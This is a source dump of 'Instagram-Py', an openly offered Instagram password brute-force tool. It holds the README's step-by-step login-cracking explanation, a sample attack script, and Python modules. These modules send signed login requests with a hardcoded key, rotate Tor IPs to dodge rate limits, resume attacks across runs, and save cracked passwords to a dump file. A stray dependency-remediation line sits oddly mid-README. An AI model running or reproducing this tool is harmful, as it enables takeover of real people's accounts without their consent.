161 | So to test a account with username as USERNAME and password with PASSWORD we simply request this url https://i.instagram.com/api/v1/accounts/login/ig_sig_key_version=4&signed_body=bc90e1b7d430f39152e92b4e7d517bfb231dbe0515ed2071dc784cf876e301c3.%7B%22phone_id%22%3A%20%2232abb45c-f605-4fd7-9b5e-674115516b90%22%2C%20%22_csrftoken%22%3A%20%22PyMH2niVQrk41UIBW0lKilleG7GylluQ%22%2C%20%22username%22%3A%20%22USERNAME%22%2C%20%22guid%22%3A%20%2267ca220c-a9eb-4240-b173-2d253808904d%22%2C%20%22device_id%22%3A%20%22android-283abce46cb0a0bcef4%22%2C%20%22password%22%3A%20%22PASSWORD%22%2C%20%22login_attempt_count%22%3A%20%220%22%7D
162 |
163 | Take a look how I did it...
164 |
165 | https://raw.githubusercontent.com/deathsec/instagram-py/master/observations/login_create.png
166 |
167 | Step 3: With the json response and response code , we determine the password is correct or wrong.
168 |
169 | if We get response 200 then the login is success but if we get response 400 , We inspect the json data for clues if it is the correct password or invalid request or too many tries. So we inspect the message from instagram json response!
170 |
171 | Message = Challenge Required , then the password is correct but instagram got some questions so we must wait until the user logs in and answer the question and if we are lucky they will not change the password and we could login in later(Most of the time people won't change the password!)
172 |
173 | Message = The password you entered is incorrect. , then the password is incorrect for sure , try another.
174 |
175 | Message as something like word invalid in it then , some other error so just try again, can happen because of wordlist encoding error which i ignored because all the worldlist have encoding error!
176 |
177 | Message = Too many tries , Time to change our ip and loop but we don't want to change our magic cookie
178 |
179 | Thats it you just hacked instagram with a very simple algorithm!
180 |
181 | Contribution
182 | https://img.shields.io/github/contributors/deathsec/instagram-py.svg?style=flat-square
183 |
184 | Contribute anything you can to this repo (Issues | Pull request) , help is much appreciated.
185 |
186 | Please Refer CONTRIBUTING for more information on contributing!
187 |
188 | Using Instagram-Py as API
189 | Instagram-Py supports to be used as a module as of v1.3.2 , so you don't want to reproduce my code. Just use it!
190 |
191 | For some reason you wish not to use my software then you can use my software as a module and embed into your own software , anyway its native so its just gonna run the same as the official command-line tool unless you do something crazy.
192 |
193 | Follow the same installation method mentioned above to install Instagram-Py API.
194 |
195 | This is a simple script to conduct a bructe force attack using instagram-py as a API.
196 |
197 | #!/usr/bin/env python3
198 | '''
199 | This is the same thing that is in the __init__ file of the command-line
200 | tool.
201 | '''
202 | from InstagramPy.InstagramPyCLI import InstagramPyCLI
203 | from InstagramPy.InstagramPySession import InstagramPySession , DEFAULT_PATH
204 | from InstagramPy.InstagramPyInstance import InstagramPyInstance
205 | from datetime import datetime
206 |
207 | username = "TARGET ACCOUNT USERNAME"
208 | password = "PASSWORD LIST PATH"
209 |
210 | appInfo = {
211 | "version" : "0.0.1",
212 | "name" : "Instagram-Py Clone",
213 | "description" : "Some Module to crack instagram!",
214 | "author" : "YourName",
215 | "company" : "YourCompany",
216 | "year" : "2017",
217 | "example" : ""
218 | }
219 |
220 | cli = InstagramPyCLI(appinfo = appInfo , started = datetime.now() , verbose_level = 3)
221 |
222 | '''
223 | # USE THIS IF YOU WANT
224 | cli.PrintHeader()
225 | cli.PrintDatetime()
226 | '''
227 | session = InstagramPySession(username , password , DEFAULT_PATH , DEFAULT_PATH , cli)
228 | session.ReadSaveFile(True) # True to countinue attack if found save file.
229 | '''
230 | # USE THIS IF YOU WANT
231 | cli.PrintMagicCookie(session.magic_cookie)
232 | '''
233 |
234 | '''
235 | Defining @param cli = None will make Instagram-Py run silently so you
236 | can you use your own interface if you like.
237 | or if you want to use the official interface then declare like this
238 |
239 | instagrampy = InstagramPyInstance(cli = cli , session = session)
240 |
241 | '''
242 |
243 | instagrampy = InstagramPyInstance(cli = None ,session = session)
244 | while not instagrampy.PasswordFound():
245 | print('Trying... '+session.CurrentPassword())
246 | instagrampy.TryPassword()
247 |
248 | if instagrampy.PasswordFound():
249 | print('Password Found: '+session.CurrentPassword())
250 |
251 | exit(0)
252 | Refer the Wiki to get full information about the api , https://github.com/deathsec/instagram-py/wiki
253 |
254 | Remediation
255 | Upgrade requests to version 2.20.0 or later. For example:
256 |
257 | requests>=2.20.0
258 |
--------------------------------------------------------------------------------
/instagram-py/CHANGELOG.rst:
--------------------------------------------------------------------------------
1 | ============================
2 | ChangeLog for Instagram-Py
3 | ============================
4 |
5 | Holds the History of releases and changes made for the software.
6 |
7 | version 2.0.1
8 | * Fixes JSON Decoding error from instagram api response
9 |
10 | version 2.0.0 ( 2017.11.19 )
11 | * **New Feature:** Instagram-Py Scripting
12 | * **New Feature:** Instagram-Py Configuration Creator
13 | * **New Feature:** Instagram-Py Dumps ( Holds Successfully Cracked Account Passwords)
14 | * **New Feature:** Complete Attack Customization
15 | * lightly redesigned the cli
16 |
17 | version 1.3.3 ( Stable )
18 | * killed some bugs
19 | * error handling added
20 | * removed flush and print output
21 | * new easy to use API implemented
22 | * making random device id for new process only
23 | * verbose added for better debuging
24 | * refactored the code base
25 |
26 | version 0.3.2
27 | * fixed json decoding type error
28 | * support for python 3.4 , 3.5
29 | * added pip support
30 |
31 | version 0.3.1
32 | * duplicate of v0.2.1 for a mistake in pypi
33 |
34 | version 0.2.1
35 | * fixed never resume attack bug
36 | * fixed corrupted savefile bug
37 |
38 | version 0.1.1
39 | * fixed left out password on ip change
40 | * fixed corrupted buffer on password tries
41 |
42 | version 0.0.1 (2017.09.08)
43 | * basic features added
44 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/AppInfo.py:
--------------------------------------------------------------------------------
1 | # The MIT License
2 |
3 | # @filename : AppInfo.py
4 | # @description : Application Information that are required
5 |
6 | appInfo = {
7 | "version": "2.0.1",
8 | "name": "Instagram-Py",
9 | "description": " Slick Instagram brute force command line tool",
10 | "author": "DeathSec",
11 | "company": "The Future Shell",
12 | "year": "2017",
13 | "example": "example: instagram-py -c -vvv -u instatestgod__ -pl rockyou.txt"
14 | }
15 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/InstagramPyCLI.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 | # Copyright (C) 2017 The Future Shell , DeathSec.
3 | #
4 | # @filename : InstagramPyCLI.py
5 | # @description : Simple command line interface to display progress
6 | # and efficiently show response too.
7 |
8 | import datetime
9 | import sys
10 | from InstagramPy import AppInfo
11 | from .colors import *
12 |
13 |
14 | class InstagramPyCLI:
15 | username = None
16 | started = None
17 | verbose = 0
18 |
19 | def __init__(self, appinfo, started, verbose_level, username):
20 | try:
21 | self.verbose = int(verbose_level)
22 | self.started = started
23 | self.username = username
24 | if not appinfo == None:
25 | appinfo = appinfo
26 | except:
27 | self.verbose = 0
28 | self.started = started
29 | appinfo = AppInfo.appInfo
30 | if username == None or username == '':
31 | self.ReportError("username not provided!")
32 | else:
33 | self.username = username
34 |
35 | self.HEADER = "{} {} , {}.\nCopyright (C) {} {} , {}.\n".format(appinfo['name'],
36 | appinfo['version'],
37 | appinfo['description'],
38 | appinfo['year'],
39 | appinfo['company'],
40 | appinfo['author'])
41 | self.HEADER = Fore.MAGENTA + self.HEADER + Style.RESET_ALL
42 |
43 | def ReportError(self, error):
44 | print('{}{}fatal error::{} {}'.format(
45 | Style.BRIGHT, Fore.RED, Style.RESET_ALL, error))
46 | sys.exit(-1)
47 |
48 | def PrintHeader(self):
49 | print(self.HEADER)
50 | return True
51 |
52 | def PrintDatetime(self):
53 | print('{}[{}+{}{}]{} {}Started{} @ {}'.format(Style.BRIGHT,
54 | Fore.YELLOW,
55 | Style.RESET_ALL,
56 | Style.BRIGHT,
57 | Style.RESET_ALL,
58 | Fore.MAGENTA,
59 | Style.RESET_ALL + Fore.YELLOW,
60 | str(self.started) +
61 | Style.RESET_ALL
62 | ))
63 | return True
64 |
65 | def PrintChangingIP(self):
66 | print('[{}*{}] {}Changing IP Address... {}'.format(Fore.YELLOW,
67 | Style.RESET_ALL, Fore.GREEN, Style.RESET_ALL))
68 | return True
69 |
70 | def PrintIPAddress(self, ip):
71 | print('[{}+{}] {}Current IP{} :: {}{}{}'.format(Fore.RED,
72 | Style.RESET_ALL,
73 | Fore.YELLOW,
74 | Style.RESET_ALL,
75 | Style.BRIGHT,
76 | str(ip),
77 | Style.RESET_ALL
78 | ))
79 | return True
80 |
81 | def PrintPassword(self, password):
82 | print('[{}+{}] {}Trying [FOR] @{} {} :: {}{}{}'.format(Fore.GREEN,
83 | Style.RESET_ALL,
84 | Fore.CYAN,
85 | self.username,
86 | Style.RESET_ALL,
87 | Style.BRIGHT,
88 | password,
89 | Style.RESET_ALL
90 | ))
91 | return True
92 |
93 | def PrintRequest(self, req):
94 | print('\n[{}-{}] --:: {}REQUEST START -> @{} {} ::--'.format(Fore.MAGENTA,
95 | Style.RESET_ALL, Back.CYAN + Style.BRIGHT, self.username, Style.RESET_ALL))
96 | print('{}{}{} {}{}{}'.format(Fore.GREEN, req.method,
97 | Style.RESET_ALL, Style.BRIGHT, req.url, Style.RESET_ALL))
98 | print('{}{}{}'.format(Fore.YELLOW, '\n'.join('{}: {}'.format(k, v)
99 | for k, v in req.headers.items()), Style.RESET_ALL))
100 | print('{}{}{}'.format(Style.BRIGHT, req.body, Style.RESET_ALL))
101 | print('[{}+{}] --:: {}REQUEST END{} ::--'.format(Fore.GREEN,
102 | Style.RESET_ALL, Back.GREEN + Style.BRIGHT, Style.RESET_ALL))
103 | return True
104 |
105 | def PrintResponse(self, resp):
106 | print('\n[{}-{}] --:: {}RESPONSE START -> @{} {} ::--'.format(Fore.MAGENTA,
107 | Style.RESET_ALL, Back.CYAN + Style.BRIGHT, self.username, Style.RESET_ALL))
108 | print('{}{}{}'.format(Style.BRIGHT, str(resp), Style.RESET_ALL))
109 | print('[{}+{}] --:: {}RESPONSE END{} ::--'.format(Fore.GREEN,
110 | Style.RESET_ALL, Back.GREEN + Style.BRIGHT, Style.RESET_ALL))
111 | return True
112 |
113 | def PrintProgress(self, password, ip, request, response):
114 | if self.verbose == 0:
115 | self.PrintPassword(password)
116 | elif self.verbose == 1:
117 | self.PrintPassword(password)
118 | self.PrintResponse(response)
119 | elif self.verbose == 2:
120 | self.PrintPassword(password)
121 | self.PrintResponse(response)
122 | self.PrintIPAddress(ip)
123 | else:
124 | self.PrintPassword(password)
125 | self.PrintRequest(request)
126 | self.PrintResponse(response)
127 | self.PrintIPAddress(ip)
128 | return True
129 |
130 | def ReportAttack(self, password):
131 | print('\n[{}+{}] --:: {}Completed -> @{} {} ::--'.format(Fore.YELLOW,
132 | Style.RESET_ALL, Back.YELLOW + Style.BRIGHT, self.username, Style.RESET_ALL),
133 | end='')
134 | if not password == None:
135 | print('{}[{}*{}{}]{} {}Password Found!{} :: {}'.format(Style.BRIGHT,
136 | Fore.RED,
137 | Style.RESET_ALL,
138 | Style.BRIGHT,
139 | Style.RESET_ALL,
140 | Fore.CYAN,
141 | Style.RESET_ALL + Style.BRIGHT + Fore.GREEN,
142 | password + Style.RESET_ALL
143 | ))
144 | else:
145 | print('{}{}Password not found , Try using another wordlist.{}'.format(
146 | Style.BRIGHT, Fore.RED, Style.RESET_ALL))
147 |
148 | print('{}[{}+{}{}]{} {}Finnished in {}{}'.format(Style.BRIGHT,
149 | Fore.YELLOW,
150 | Style.RESET_ALL,
151 | Style.BRIGHT,
152 | Style.RESET_ALL,
153 | Fore.MAGENTA,
154 | Style.RESET_ALL + Fore.YELLOW,
155 | str(datetime.datetime.now(
156 | ) - self.started) + Style.RESET_ALL
157 | ))
158 | return True
159 |
160 | def PrintFooter(self):
161 | print('\n{}Report bug, suggestions and new features at {}{}https://github.com/deathsec/instagram-py{}'.format(Fore.GREEN,
162 | Style.RESET_ALL,
163 | Style.BRIGHT,
164 | Style.RESET_ALL
165 | ))
166 | return True
167 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/InstagramPyConfigurationCreator.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : InstagramPyConfigurationCreator.py
4 | # @description : Create a Configuration file for Instagram-Py with ease.
5 | import os
6 | import json
7 | from .colors import *
8 |
9 |
10 | class InstagramPyConfigurationCreator:
11 | config_path = None
12 | default_config = {
13 | "api-url": "https://i.instagram.com/api/v1/",
14 | "user-agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)",
15 | "ig-sig-key": "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178",
16 | "ig-sig-version": "4",
17 | "tor": {
18 | "server": "127.0.0.1",
19 | "port": "9050",
20 | "protocol": "socks5",
21 | "control": {
22 | "password": "",
23 | "port": "9051"
24 | }
25 | }
26 | }
27 |
28 | def __init__(self, path):
29 | self.config_path = path
30 |
31 | '''
32 | create():
33 | - Simply Creates a Configuration with the default settings.
34 | '''
35 |
36 | def create(self):
37 | with open(self.config_path, 'w') as f:
38 | json.dump(self.default_config, f)
39 | print("{}Written Configuration at {}{}".format(
40 | Style.BRIGHT, self.config_path, Style.RESET_ALL))
41 | return True
42 |
43 | def easy_create(self):
44 | tor_server_ip = None
45 | tor_port = None
46 | tor_control_port = None
47 | tor_control_password = None
48 | print("{}Welcome to Instagram-Py Configuration Creator!{}".format(Style.BRIGHT, Style.RESET_ALL))
49 | tor_server_ip = input("{}Tor Server IP(default=[Press Enter]):: {}"
50 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL))
51 | tor_port = input("{}Tor Server Port(default=[Press Enter]):: {}"
52 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL))
53 | tor_control_port = input("{}Tor Control Port(default=[Press Enter]):: {}"
54 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL))
55 | tor_control_password = input("{}Tor Authentication Password(default=[Press Enter]):: {}"
56 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL))
57 |
58 | print("{}Writing Configuration...{}".format(
59 | Style.BRIGHT, Style.RESET_ALL))
60 |
61 | if tor_server_ip is not '':
62 | self.default_config['tor']['server'] = tor_server_ip
63 | if tor_port is not '':
64 | self.default_config['tor']['port'] = tor_port
65 | if tor_control_port is not '':
66 | self.default_config['tor']['control']['port'] = tor_control_port
67 | if tor_control_password is not '':
68 | self.default_config['tor']['control']['password'] = tor_control_password
69 |
70 | with open(self.config_path, 'w') as f:
71 | json.dump(self.default_config, f)
72 |
73 | print("{}Written Configuration at {}{}".format(
74 | Style.BRIGHT, self.config_path, Style.RESET_ALL))
75 | return True
76 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/InstagramPyDumper.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : InstagramPyDumper.py
4 | # @description : Dumps succession logs for the given username
5 | #
6 | import json
7 | import os
8 |
9 |
10 | class InstagramPyDumper:
11 | dump_data = "{}/.instagram-py/dump.json".format(os.path.expanduser('~'))
12 | required_info = None
13 |
14 | def __init__(self, username):
15 | if not os.path.isfile(self.dump_data):
16 | return None
17 | json_dump = json.load(open(self.dump_data, 'r'))
18 | self.required_info = None
19 | try:
20 | self.required_info = json_dump[username]
21 | except KeyError:
22 | pass
23 |
24 | def Dump(self):
25 | if self.required_info is None:
26 | print("No Log Found!")
27 | else:
28 | print(
29 | "Username : {}\nPassword : {}\nAttacked On : {}"
30 | .format(self.required_info['id'],
31 | self.required_info['password'],
32 | self.required_info['started']
33 | )
34 | )
35 | return True
36 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/InstagramPyInstance.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : InstagramPyInstance.py
4 | # @description : creates a new app instance and coordinates with
5 | # InstagramPySession , InstagramPyReports and InstagramPyCLI.
6 | # the main attack script.
7 | import uuid
8 | import time
9 | import sys
10 | import hmac
11 | import urllib
12 | import json
13 | import hashlib
14 | import requests
15 |
16 |
17 | class InstagramPyInstance:
18 | cli = None
19 | guid = str(uuid.uuid4())
20 | phone_id = guid
21 | device_id = None
22 | session = None
23 | password_found = False
24 |
25 | def __init__(self, cli, session):
26 | if not cli == None:
27 | self.cli = cli
28 | else:
29 | self.cli = None
30 |
31 | if not session == None:
32 | self.session = session
33 | else:
34 | print('InstagramPyInstance:: no session given.')
35 | sys.exit(-1)
36 | self.device_id = self.GetDeviceId()
37 |
38 | def GetDeviceId(self):
39 | user_hash = hashlib.md5()
40 | user_hash.update(self.session.username.encode(
41 | 'utf-8') + str(uuid.uuid4()).encode('utf-8'))
42 | device_hash = hashlib.md5()
43 | device_hash.update(user_hash.hexdigest().encode(
44 | 'utf-8') + '12345'.encode('utf-8'))
45 | return str('android-' + device_hash.hexdigest()[:16])
46 |
47 | def PasswordFound(self):
48 | return self.password_found
49 |
50 | def TryPassword(self):
51 | if not self.password_found and not self.session.eopl:
52 | request_data = None
53 | response_data = None
54 |
55 | data = {
56 | 'phone_id': self.phone_id,
57 | '_csrftoken': self.session.magic_cookie,
58 | 'username': self.session.username,
59 | 'guid': self.guid,
60 | 'device_id': self.device_id,
61 | 'password': self.session.CurrentPassword(),
62 | 'login_attempt_count': '0'
63 | }
64 |
65 | json_data = json.dumps(data)
66 | hmac_signed = hmac.new(self.session.ig_sig_key.encode(
67 | 'utf-8'), json_data.encode('utf-8'), hashlib.sha256).hexdigest()
68 | json_data_enc = urllib.parse.quote(json_data)
69 |
70 | try:
71 | r = requests.Request(method='POST', url='{}accounts/login/'.format(self.session.api_url),
72 | data='ig_sig_key_version={}&signed_body={}.{}'.format(self.session.ig_sig_version,
73 | hmac_signed,
74 | json_data_enc
75 | ), cookies=self.session.bot.cookies, headers=self.session.bot.headers)
76 | request_data = r.prepare()
77 | r = self.session.bot.post('{}accounts/login/'.format(self.session.api_url),
78 | data='ig_sig_key_version={}&signed_body={}.{}'.format(self.session.ig_sig_version,
79 | hmac_signed,
80 | json_data_enc
81 | ))
82 |
83 | except KeyboardInterrupt:
84 | if not self.cli == None:
85 | self.cli.ReportError('process aborted by the user')
86 | else:
87 | sys.exit(-1)
88 | except (BaseException, Exception) as err:
89 | if not self.cli == None:
90 | self.cli.ReportError(
91 | "unable to send request to instagram :: {}".format(err))
92 | else:
93 | sys.exit(-1)
94 |
95 | if r.status_code == 200:
96 | self.password_found = True
97 | if not self.cli == None:
98 | self.cli.PrintProgress(password=self.session.CurrentPassword(),
99 | ip=self.session.ip,
100 | request=request_data,
101 | response=r.content
102 | )
103 | self.cli.ReportAttack(self.session.CurrentPassword())
104 | else:
105 | try:
106 | response_data = (r.json())['message']
107 | except:
108 | # sleep for some seconds to let instagram recover
109 | time.sleep(3)
110 | return True
111 |
112 | if response_data == 'challenge_required':
113 | self.password_found = True
114 | if not self.cli == None:
115 | self.cli.PrintProgress(password=self.session.CurrentPassword(),
116 | ip=self.session.ip,
117 | request=request_data,
118 | response=r.content
119 | )
120 |
121 | self.cli.ReportAttack(self.session.CurrentPassword())
122 |
123 | elif response_data == 'The password you entered is incorrect. Please try again.':
124 | if not self.session.current_save == None:
125 | self.session.UpdateSaveFile()
126 | self.session.NextPassword()
127 | if not self.cli == None:
128 | self.cli.PrintProgress(password=self.session.CurrentPassword(),
129 | ip=self.session.ip,
130 | request=request_data,
131 | response=r.content
132 | )
133 | else:
134 | if 'Invalid' not in response_data:
135 | if not self.cli == None:
136 | self.cli.PrintProgress(password=self.session.CurrentPassword(),
137 | ip=self.session.ip,
138 | request=request_data,
139 | response=r.content
140 | )
141 | self.cli.PrintChangingIP()
142 | self.session.ChangeIPAddress() # signal tor to change ip
143 | else:
144 | self.session.NextPassword()
145 |
146 | else:
147 | if self.password_found:
148 | if not self.cli == None:
149 | self.cli.PrintProgress(password=self.session.CurrentPassword(),
150 | ip=self.session.ip,
151 | request=request_data,
152 | response=r.content
153 | )
154 |
155 | self.cli.ReportAttack(self.session.CurrentPassword())
156 | else:
157 | if not self.cli == None:
158 | self.cli.ReportAttack(None)
159 | sys.exit(-1)
160 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/InstagramPyScript.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : InstagramPyScript.py
4 | # @description : Handles Instagram-Py Attack Scripts.
5 | import os
6 | from .InstagramPyCLI import InstagramPyCLI
7 | from .InstagramPySession import InstagramPySession, DEFAULT_PATH
8 | from .InstagramPyInstance import InstagramPyInstance
9 | from .InstagramPyDumper import InstagramPyDumper
10 | from datetime import datetime
11 | from .AppInfo import appInfo as AppInformation
12 |
13 |
14 | class InstagramPyScript:
15 | script_code = None
16 | cli = InstagramPyCLI(
17 | appinfo=AppInformation,
18 | started=datetime.now(),
19 | verbose_level=0,
20 | username=''
21 | )
22 | threads = {} # not actually threads but a simple dict
23 | no_of_threads = len(threads)
24 |
25 | def __init__(self, script):
26 | self.cli.PrintHeader()
27 | self.cli.PrintDatetime()
28 |
29 | if not os.path.isfile(script):
30 | self.cli.ReportError("no script found at {}".script)
31 |
32 | with open(script, 'r') as f:
33 | self.script_code = compile(f.read(), script, 'exec')
34 |
35 | def run(self):
36 | try:
37 | exec(self.script_code, globals())
38 | count = 0
39 | for i in usernames:
40 | try:
41 | cli = InstagramPyCLI(
42 | appinfo=AppInformation,
43 | started=datetime.now(),
44 | verbose_level=i['verbose'],
45 | username=i['id']
46 | )
47 | except:
48 | cli = InstagramPyCLI(
49 | appinfo=AppInformation,
50 | started=datetime.now(),
51 | verbose_level=0,
52 | username=i['id']
53 | )
54 | try:
55 | session = InstagramPySession(
56 | i['id'],
57 | i['password_list'],
58 | DEFAULT_PATH,
59 | DEFAULT_PATH,
60 | cli
61 | )
62 | except:
63 | try:
64 | session = InstagramPySession(
65 | i['id'],
66 | global_password_list,
67 | DEFAULT_PATH,
68 | DEFAULT_PATH,
69 | cli
70 | )
71 | except:
72 | self.cli.ReportError(
73 | "invalid script :: No Password list is Mentioned in the Script!")
74 | try:
75 | session.ReadSaveFile(i['countinue'])
76 | except:
77 | session.ReadSaveFile(False)
78 |
79 | instance = InstagramPyInstance(cli, session)
80 |
81 | self.threads[count] = {
82 | "terminated": False,
83 | "instance": instance
84 | }
85 | try:
86 | self.threads[count]['callback'] = i['callback']
87 | except:
88 | try:
89 | self.threads[count]['callback'] = global_callback
90 | except:
91 | self.threads[count]['callback'] = None
92 | count += 1
93 | except Exception as e:
94 | self.cli.ReportError("invalid script :: {}".format(e))
95 |
96 | # Finished Parsing the Custom Attack Script , Start The Attack.
97 | self.no_of_threads = len(self.threads)
98 | while self.no_of_threads is not 0:
99 | for i in self.threads:
100 | if self.threads[i]['terminated'] is True:
101 | continue # next iteration
102 | elif self.threads[i]['instance'].PasswordFound():
103 | if self.threads[i]['callback'] is not None:
104 | self.threads[i]['callback'](
105 | self.threads[i]['instance'].session.username,
106 | self.threads[i]['instance'].session.CurrentPassword()
107 | )
108 | self.threads[i]['instance'].session.WriteDumpFile(
109 | {
110 | "id": self.threads[i]['instance'].session.username,
111 | "password": self.threads[i]['instance'].session.CurrentPassword(),
112 | "started": str(self.threads[i]['instance'].cli.started)
113 | }
114 | )
115 |
116 | self.threads[i]['terminated'] = True
117 | self.no_of_threads -= 1
118 | else:
119 | self.threads[i]['instance'].TryPassword()
120 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/InstagramPySession.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : InstagramPySession.py
4 | # @description : creates a new session , checks for configuration and gets critical data
5 | # , loads save and saves data too.
6 | import json
7 | import os
8 | import uuid
9 | import hashlib
10 | import requests
11 | from stem import Signal
12 | from stem.control import Controller
13 |
14 | DEFAULT_PATH = "{}/".format(os.path.expanduser('~'))
15 |
16 |
17 | class InstagramPySession:
18 | '''
19 | __init__:
20 | - loads configuration from specified file.
21 | - gets the perfect place for the save file.
22 | - sets class variables for later use.
23 | '''
24 |
25 | magic_cookie = None
26 | api_url = None
27 | user_agent = None
28 | ig_sig_key = None
29 | ig_sig_version = None
30 | tor_proxy = None
31 | tor_controller = None
32 | save_data = None
33 | dump_data = None
34 | current_save = None
35 | username = ''
36 | password = ''
37 | password_list = None
38 | password_list_md5_sum = None
39 | password_list_buffer = None
40 | password_list_length = 0
41 | eopl = False
42 | current_line = 1
43 | ip = None
44 | cli = None
45 | bot = requests.Session()
46 |
47 | def __init__(self, username, password_list, configuration, save_location, cli):
48 |
49 | self.username = username
50 | self.cli = cli
51 |
52 | if not os.path.isfile(password_list):
53 | self.cli.ReportError(
54 | "password list not found at {}.".format(password_list))
55 | self.password_list = password_list
56 | '''
57 | Note: Always open password list with errors ignored because all password list
58 | mostly has a wrong encoding or the users pc does not support it!
59 | '''
60 | self.password_list_buffer = open(
61 | password_list, encoding='utf-8', errors='ignore')
62 | self.password_list_md5_sum = str(
63 | self.md5sum(open(password_list, "rb")).hexdigest())
64 |
65 | with open(password_list, encoding='utf-8', errors='ignore') as f:
66 | for line in f:
67 | self.password_list_length += 1
68 |
69 | if configuration == DEFAULT_PATH:
70 | configuration = "{}instapy-config.json".format(DEFAULT_PATH)
71 | if save_location == DEFAULT_PATH:
72 | save_location = "{}.instagram-py/".format(DEFAULT_PATH)
73 |
74 | dump_location = "{}dump.json".format(save_location)
75 |
76 | if not os.path.isfile(configuration):
77 | self.cli.ReportError(
78 | "configuration file not found at {}".format(configuration))
79 | else:
80 | try:
81 | with open(configuration, "r") as fp:
82 | configuration = json.load(fp)
83 | except Exception as err:
84 | self.cli.ReportError(
85 | "invalid configuration file at {}".format(configuraion))
86 |
87 | self.api_url = configuration['api-url']
88 | self.user_agent = configuration['user-agent']
89 | self.ig_sig_key = configuration['ig-sig-key']
90 | self.ig_sig_version = configuration['ig-sig-version']
91 | self.tor_proxy = "{}://{}:{}".format(
92 | configuration['tor']['protocol'], configuration['tor']['server'], configuration['tor']['port'])
93 | if not configuration['tor']['control']['password'] == "":
94 | self.OpenTorController(
95 | configuration['tor']['control']['port'], configuration['tor']['control']['password'])
96 | else:
97 | self.OpenTorController(
98 | configuration['tor']['control']['port'], None)
99 |
100 | self.bot.proxies = {
101 | # tor socks proxy!
102 | "https": self.tor_proxy,
103 | "http": self.tor_proxy
104 | }
105 |
106 | # build headers
107 |
108 | self.bot.headers.update(
109 | {
110 | 'Connection': 'close', # make sure requests closes the sockets instead of keep-alive!
111 | 'Accept': '*/*',
112 | 'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
113 | 'Cookie2': '$Version=1',
114 | 'Accept-Language': 'en-US',
115 | 'User-Agent': self.user_agent
116 | }
117 | )
118 |
119 | '''
120 | Note: https://icanhazip.com is a free domain to get your current tor ip
121 | this is not a dangerous website for sure , thank you @majorhayden
122 | '''
123 | try:
124 | self.ip = self.bot.get(
125 | 'https://icanhazip.com').content.rstrip().decode()
126 | except KeyboardInterrupt:
127 | self.cli.ReportError("process aborted by the user")
128 | except (BaseException, Exception) as err:
129 | self.cli.ReportError(
130 | "Connection to host failed , check your connection and tor configuration.")
131 |
132 | if not os.path.exists(save_location):
133 | try:
134 | os.mkdir(save_location)
135 | except (BaseException, Exception) as err:
136 | self.cli.ReportError(err)
137 |
138 | self.save_data = save_location
139 | else:
140 | self.save_data = save_location
141 |
142 | self.dump_data = dump_location
143 |
144 | try:
145 | self.bot.get(
146 | "{}si/fetch_headers/?challenge_type=signup&guid={}".format(
147 | self.api_url, str(uuid.uuid4()).replace('-', ''))
148 | )
149 | self.magic_cookie = self.bot.cookies['csrftoken']
150 | except KeyboardInterrupt:
151 | self.cli.ReportError(
152 | "cannot get the magic cookie , aborted by the user")
153 | except (BaseException, Exception) as err:
154 | self.cli.ReportError(err)
155 |
156 | '''
157 | ReadSaveFile()
158 | - Checks if we have located the save file
159 | - if not creates one
160 | - opens the save file and load it as json data
161 | - check if the user uses the same password list file for the same user
162 | - set the current password pointer to the given data
163 | '''
164 |
165 | def ReadSaveFile(self, isResume):
166 | if self.current_save == None:
167 | self.CreateSaveFile(isResume)
168 | SaveFile = json.load(open(self.current_save, 'r'))
169 | self.current_line = SaveFile['line-count']
170 | if self.password_list_md5_sum == SaveFile['password-file-md5'] and self.username == SaveFile['username']:
171 | c_line = 1
172 | for line in self.password_list_buffer:
173 | self.password = str(line).rstrip()
174 | if c_line == self.current_line:
175 | break
176 | c_line += 1
177 | return True
178 |
179 | '''
180 | UpdateSaveFile()
181 | - check if we have created a save file
182 | - if yes , rewrite the the save file with the current session!
183 | '''
184 |
185 | def UpdateSaveFile(self):
186 | if not self.current_save == None:
187 | updatefile = open(self.current_save, 'w')
188 | json.dump(
189 | {
190 | "username": str(self.username),
191 | "password-file-md5": str(self.password_list_md5_sum),
192 | "line-count": self.current_line
193 | }, updatefile)
194 | updatefile.close()
195 |
196 | '''
197 | CreateSaveFile()
198 | - checks if we have not openned any save file but know the save location.
199 | - if yes , creates with default settings to the location.
200 | '''
201 |
202 | def CreateSaveFile(self, isResume):
203 | if self.current_save == None and not self.save_data == None:
204 | save = '{}{}.dat'.format(self.save_data, hashlib.sha224(
205 | self.username.encode('utf-8')).hexdigest())
206 | self.current_save = save
207 | if not os.path.isfile(save):
208 | self.UpdateSaveFile()
209 | else:
210 | if not isResume:
211 | self.UpdateSaveFile()
212 |
213 | def ReadDumpFile(self, username):
214 | if not self.dump_data == None:
215 | if not os.path.isfile(self.dump_data):
216 | return None
217 | json_dump = json.load(open(self.dump_data, 'r'))
218 | required_info = None
219 |
220 | try:
221 | required_info = json_dump[username]
222 | except KeyError:
223 | pass
224 |
225 | return required_info
226 |
227 | def WriteDumpFile(self, info):
228 | if not self.dump_data == None:
229 | json_dump = {}
230 | if os.path.isfile(self.dump_data):
231 | json_dump = json.load(open(self.dump_data, 'r'))
232 | json_dump[info['id']] = info
233 | json.dump(json_dump, open(self.dump_data, 'w'))
234 | return True
235 |
236 | '''
237 | CurrentPassword()
238 | - returns the current password pointed to the password list
239 | '''
240 |
